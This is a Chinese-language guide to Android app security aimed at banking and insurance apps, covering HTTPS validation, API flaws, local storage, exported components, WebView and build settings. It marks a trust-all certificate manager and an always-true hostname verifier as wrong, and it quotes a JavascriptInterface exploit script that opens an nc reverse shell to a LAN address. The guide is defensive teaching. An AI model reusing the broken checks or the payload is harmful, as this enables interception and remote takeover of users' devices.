随着移动互联网的发展,各大传统保险公司和银行金融公司都开发了自己的App,那么App的信息安全就变得非常重要了。如果App的安全级别不够那么会发生隐私泄露,更重要的会产生财产损失。下面我将从下面五点来考虑app的信息安全。
一、网络传输安全
分为三种方式:
1. 自定义Socket通信
需要自定义数据加密方式,选择加密算法,选择秘钥管理模式等等,在实现细节上需要考虑加密算法的实现机制、加密性能、秘钥的安全管理等。
2. Http通信
- 数据传输是明文的,直接可以采用Charles等工具拦截数据。
- http如果连接域名,可以通过DNS欺骗的方式将用户引入钓鱼网站。
3. Https通信
https客户端需要验证服务器下发证书的有效性。如果客户端忽略验证,就存在被中间人攻击的可能,
1. 使用WebView进行Https通信
1. 使用可信任机构颁发的证书
Android内置了一些可信任机构颁发的证书,可用于Https证书校验。WebView对可信任证书进行校验也是系统默认去做的。继承WebViewClient类重写如下方法:
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
super.onReceivedSslError(view, handler, error);
//如下是错误的代码,相当于忽略证书校验
//handler.proceed();
//带有可信任机构颁发证书的Https站点这个方法中无需做任何操作。
}
2. 自签名证书
自签名的证书WebView加载网页会报错我们需要覆盖onReceivedSslError方法进行自签名证书的校验,点击这里查看
2. 使用HttpClient或HttpsURLConnection进行Https通信
对于仅需要获取Https站点返回数据,通常用HttpClient和HttpsURLConnection通信,证书校验有两个重要的类:X509TrustManager和HostnameVerifier,前者用于证书校验,后者用于域名校验。
1.X509TrustManager
1. 信任所有证书
如果信任所有证书,那么https将失去作用,攻击者可以使用自签名证书,来进行中间人攻击,拿到通信的数据。也可以结合DNS欺骗,是用户访问恶意网站,造成信息泄露。
如下错误的例子:
private static class TrustAllCAManager implements X509TrustManager {
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
//不做任何校验
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
//不做任何校验
}
@Override
public X509Certificate[] getAcceptedIssuers() {
//不做任何校验
return new X509Certificate[0];
}
}
2. 信任可信机构颁发的Https证书
开发者无需实现X509TrustManager接口,Android可以使用系统自带的证书校验机制,如下代码:
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, null, new SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());
//上面代码都是默认代码,可信任机构颁发的CA证书可以不用写上面代码直接用如下代码进行网络请求,Android系统会自动校验
HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL("url").openConnection();
3. 信任自签名Https证书
如果是自签名的证书,那么只能手动实现X509TrustManager接口来信任证书,如下代码:
public static KeyStore getKeyStore() {
//多个证书,有的时候因为证书过期需要客户端适配
String[] certs = new String[]{CERT, CERT1, CERT2};
try {
String keyStoreType = KeyStore.getDefaultType();
KeyStore keyStore = KeyStore.getInstance(keyStoreType);
keyStore.load(null, null);
for (int i = 0; i < certs.length; i++) {
InputStream inputStream = new ByteArrayInputStream(certs[i].getBytes("UTF-8"));
CertificateFactory cf = CertificateFactory.getInstance("X.509");
Certificate ca = null;
try {
ca = cf.generateCertificate(inputStream);
// System.out.println("ca=" + ((X509Certificate) ca).getSubjectDN());
} catch (Exception e) {
e.printStackTrace();
} finally {
inputStream.close();
}
if (null != ca) {
keyStore.setCertificateEntry("ca" + i, ca);
}
}
return keyStore;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static void trustCertificate(HttpsURLConnection httpsURLConnection) {
try {
KeyStore keyStore = getKeyStore();
String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
tmf.init(keyStore);
final SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, tmf.getTrustManagers(), null);
} catch (Exception e) {
e.printStackTrace();
}
}
1.HostnameVerifier
用于实现Https通信中域名安全校验,验证当前链接的Https的站点和SSL证书中的域名是否相等。
错误代码:
client.setHostnameVerifier(new HostnameVerifier() {
@Override
public boolean verify(String hostname, SSLSession sslSession) {
//不做任何验证直接返回true
return true;
}
});
//使用自带不安全的HostnameVerifier,如下代码 httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
正确代码:
request.setHostnameVerifier(new HostnameVerifier() {
@Override
public boolean verify(String hostname, SSLSession session) {
// TODO Auto-generated method stub
try {
String peerHost = session.getPeerHost(); //服务器返回的主机名
String str_new = "";
X509Certificate[] peerCertificates = (X509Certificate[]) session
.getPeerCertificates();
for (X509Certificate certificate : peerCertificates) {
X500Principal subjectX500Principal = certificate
.getSubjectX500Principal();
String name = subjectX500Principal.getName();
String[] split = name.split(",");
for (String str : split) {
if (str.startsWith("CN")) {//证书绑定的域名或者ip
if (peerHost.equals(hostname)&&str.contains("客户端预埋的证书cn字段域名")) {
return true;
}
}
}
}
} catch (SSLPeerUnverifiedException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
return false;
}
});
//使用自带的安全的HostnameVerifier
httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.STRICT_HOSTNAME_VERIFIER);
3. 接口漏洞
- 假如用户User在某电商App上的订单详情为http://www.xxxx.com/orderdetail?orderid=123, 如果接口没有对登录信息做验证(登录Token),只凭借一个orderid获取数据,那么攻击者就可以从orderid=0开始一直遍历到9999,那么将会造成大量的订单信息泄露。
- 假如增加积分接口没有进行校验,那么我抓到一个增加积分的接口,偷换里面的userid,那么很多没有完成任务的用户都被加上积分了,造成公司的损失。
- 如果验证码没有次数控制,也没有识别是人操作还是机器操作,那么极容易形成短信轰炸。
登录流程:
- 不允许在app本地保存用户名和密码
- 登录验证通过后服务器下发token,客户端使用token进行身份验证
- token应该保存在app的内部存储空间中,不允许其他app访问。
- 登录接口要增加验证码且控制短信下发次数。
二、本地缓存安全
1. 敏感信息
敏感信息泄漏有可能会危害到用户的财产损失和隐私泄漏,敏感信息大概有如下几个方面:
用户信息:姓名,身份证,生日,手机号,银行卡号,持卡人,有效期,验证码(CAV2/CVV2/CVC2/CID),卡号后四位
订单信息:订单列表,订单详情,收件人信息,被保险人信息
卡券信息:各种优惠卡,打折卡,礼品卡
日志信息:登录、行为、token等私有日志
- 不允许将密码、卡券信息、支付相关信息保存在本地
- 理论上是不允许敏感信息保存在本地的,但是由于有些信息使用非常频繁,如果确定要保存在本地那么只能保存到私有存储空间里,并且使用AES256加密算法进行加密。
- app端显示敏感信息,请将敏感信息部分脱敏,常用的就是加*屏蔽处理。
2. 外部存储(external storage)
敏感信息不允许保存在外部存储。外部存储分三种形式:
- Environment.getExternalStorageDirectory().getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";用这种方式存储数据,不会被应用详情中的”清除数据“和”清除缓存“删除。App卸载也不会被Android系统自动删除。
- mContext.getExternalFilesDir(null).getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";这种方式存储数据,会被”清除数据“所删除,App卸载也会被Android系统自动删除。路径为/Sdcard/Android/data/<package>/files/<customfile>
- mContext.getExternalCacheDir().getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";这种方式存储数据,会被”清除缓存“所删除,App卸载也会被Android系统自动删除。路径为/Sdcard/Android/data/<package>/cache/<customfile>
3. 内部存储(internal storage)
内部存储路径/data/data/<package>。通过context.getFilesDir()或context.getCacheDir()获取路径data/data/<package>/files或data/data/<package>/cache
- 存储包含敏感信息的文件必须使用内部存储
- 存储模式必须设置MODE_PRIVATE
- 敏感信息必须加密且加密算法符合安全规范
4. 本地数据库
- 数据库保存在内部存储中,并设置MODE_PRIVATE
- 如果要对其他app提供数据使用contentprovider
- SQL语句避免采用拼接参数的方式,采用参数化的方式ContentValues绑定参数
5. 图片保存
1.保存图片中包含用户敏感信息,应该是用户主动出发,并且提示用户”图片包含敏感信息,使用完请删除“
2.保存路径应该是系统相册的目录
三、源码安全
1. Activity
activity如果使用不当会导致一些安全问题,例如:android:exported="true"的Activity如果返回了敏感信息,攻击者就会轻松的吊起这个public activity来获取隐私,或者攻击者会给这个public activity传递脏数据,导致app崩溃。
activity分四个等级权限由高到底
1. 内部使用(private)
仅仅适用于app内部使用,外部app无法调用;将android:exported="true"设置成true这样外部app就无法调用
2. 签名相同(in-house)
1.定义权限如下代码,调用activity必须符合如下权限
<permission android:name="com.xxx.xxx.XXX"
android:protectionLevel="signature"/>
2.声明activity如下代码,必须保证外部app可以调用android:exported=true,必须保证外部app调用时需要申请权限android:permission="com.xxx.xxx.XXX"
<activity android:name=".AActivity"
android:exported="true"
android:permission="com.xxx.xxx.XXX"/>
3.其他app调用这个Activity如下代码
//AndroidManifest.xml申请权限
<uses-permission android:name="com.xxx.xxx.XXX"/>
//Activity校验被调用的activity签名是否一致
//如果一致调用Activity同时传递参数使用putExtra方式传递
if(checkSignSha1()){
//签名相同,跳转到Activity
//putExtra方式传递
}else{
//签名不相同
}
private boolean checkSignSha1(){
String curSha1 = getSignSha1(this.getPackageName());
String partnerSha1 = getSignSha1("partner package");
return curSha1.equals(partnerSha1);
}
/**
* 开始获得签名
*
* @param packageName 报名
* @return
*/
private String getSignSha1(String packageName) {
Signature[] arrayOfSignature = getRawSignature(this, packageName);
if ((arrayOfSignature == null) || (arrayOfSignature.length == 0)) {
// errout("signs is null");
return null;
}
return getMessageDigest(arrayOfSignature[0].toByteArray());
}
private Signature[] getRawSignature(Context paramContext, String paramString) {
if ((paramString == null) || (paramString.length() == 0)) {
// errout("获取签名失败,包名为 null");
return null;
}
PackageManager localPackageManager = paramContext.getPackageManager();
PackageInfo localPackageInfo;
try {
localPackageInfo = localPackageManager.getPackageInfo(paramString, PackageManager.GET_SIGNATURES);
if (localPackageInfo == null) {
// errout("信息为 null, 包名 = " + paramString);
return null;
}
} catch (PackageManager.NameNotFoundException localNameNotFoundException) {
// errout("包名没有找到...");
return null;
}
return localPackageInfo.signatures;
}
public static final String getMessageDigest(byte[] cert) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("SHA1");
byte[] publicKey = md.digest(cert);
StringBuffer hexString = new StringBuffer();
for (int i = 0; i < publicKey.length; i++) {
String appendString = Integer.toHexString(0xFF & publicKey[i])
.toUpperCase(Locale.US);
if (appendString.length() == 1)
hexString.append("0");
hexString.append(appendString);
hexString.append(":");
}
String result = hexString.toString();
return result.substring(0, result.length() - 1);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
return null;
}
3. 合作伙伴(partner)
该Activity只能被合作伙伴调用,我们在Activity.onCreate增加白名单机制,如果不符合白名单无法进入页面。
1.android:exported=true
2.activity.oncreate 白名单校验
4. 公开使用(public)
可以被任何app访问,要小心控制输入进来的数据:
1.android:exported=true
2.谨慎控制收到的Intent数据,不应该根据Intent中的数据来判断后续的流程
3.不要返回敏感信息
2. Service
1. 内部Service(private)
1.android:exported=false
2.如果是推送消息最好使用内部Service,防止恶意软件停掉推送
2. 外部Service(public)
1.android:exported=true
2.通过Intent传递敏感信息需要加密传输
3. ContentProvider
对contentprovider的使用也是需要注意的;敏感信息保存在 私有的contentprovider,否则会造成隐私泄露。
4. 日志
1.Release版本不允许想LogCat中输出任何日志
2.Debug版本App打印信息只允许android.util.Log中的方法,不允许使用System.out和System.err相关方法打印
3.Debug如果要打印敏感信息需要加密
4.在导出Release中使用Proguard的配置文件来去掉Log
-assumenosideeffects class android.util.Log {
public static boolean isLoggable(java.lang.String, int);
public static int v(...);
public static int i(...);
public static int w(...);
public static int d(...);
public static int e(...);
}
四、WebView安全
1. JavascriptInterface导致远程代码漏洞
漏洞发生条件:
1.Android <=4.1.2 (API 16)
2.webview 开启JavascriptInterface
3.WebView加载恶意Url页面
假如:恶意网站加载包含如下js代码的url页面,在Javascript代码中,利用Java反射机制,通过interfaceObject获取当前Runtime对象引用,并调用其exec方法执行nc命令连接服务器8088及8089端口。
这只是其中攻击手段之一,还可以给指定号码发送短信等其他攻击手段
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
ret= interfaceObject.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','nc 192.168.1.101 8088|/system/bin/sh|nc 192.168.1.101 8089']);
}catch(e){
}
}
} catch(e) {
}
}
} check();
</script>
如果必须开启JavascriptInterface,那么需要保证加载的url是安全的在每个native java代码中进行安全校验
2. WebView加载内部资源
1.apk内部资源文件
2.apk中公司信任的URL
安全规范:
1.不要加载除页面资源以外的文件,setAllowFileAccess(false)
对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript
setAllowFileAccess(true);
// 禁止 file 协议加载 JavaScript
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}
2.加载URL的时候使用Https协议
3.在WebViewClient.shouldOverrideUrlLoading中校验url是否是白名单
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if(isWhiteList()){
view.loadUrl(url);
}else{
//错误处理
}
return true;
}
3.WebView加载外部资源
1.apk外部文件
2.非信任的url
3.用户指定的资源
安全规范:
1.没有明确需求不要开启Javascript支持(addJavascriptInterface),如果必须开启那么需要保证加载的url是安全的在每个native java代码中进行安全校验;
2.对于3.0版本只有的WebView默认内置了一些JavascriptInterface,分别是searchBoxJavaBridge_、accessibility、accessibilityTraversal,对于加载外部资源应该调用removeJavascriptInterface()方法删除内置的三个JavascriptInterface对象
3.不要开启浏览器插件支持setPluginState(WebSettings.PluginState.OFF);
4.不要开启本地文件访问setAllowFileAccess(false)
五、编译级别安全
1.Release版本中android:allowBackup="false"
2.Release版本中android:debuggable="false"
3.对代码进行混淆
4.对app进行加固例如:爱加密、360加固保等第三方工具
六、交互层面的安全
1.单点,或者多点登录,不允许一个手机号无限制的登录
2.敏感信息页面用户切换到后台,后台任务列表中应该是空白,不应该保留当前页面的快照
3.敏感信息页面展示脱敏
4.登录手势验证,隔一段时间如果要进入敏感页面需要弹出手势验证,如果不设置手势最严格的控制需要短信验证码验证
5.输入法,因为输入法是第三方app,说以非常容易造成信息泄露的,身份信息,账号密码都是由输入法输入的,输入法在系统层面时刻保持存活,可以采取自定义安全键盘,让app使用自己的键盘并且每次弹出输入法,或者App重新启动安全键盘的字母顺序都会改变等策略。
参考资料如下:
[android开发篇]自定义权限
Android Webview SSL 自签名安全校验解决方案
DNS欺骗攻击
HTTPS连接过程以及中间人攻击劫持
你不知道的 Android WebView 使用漏洞
网友评论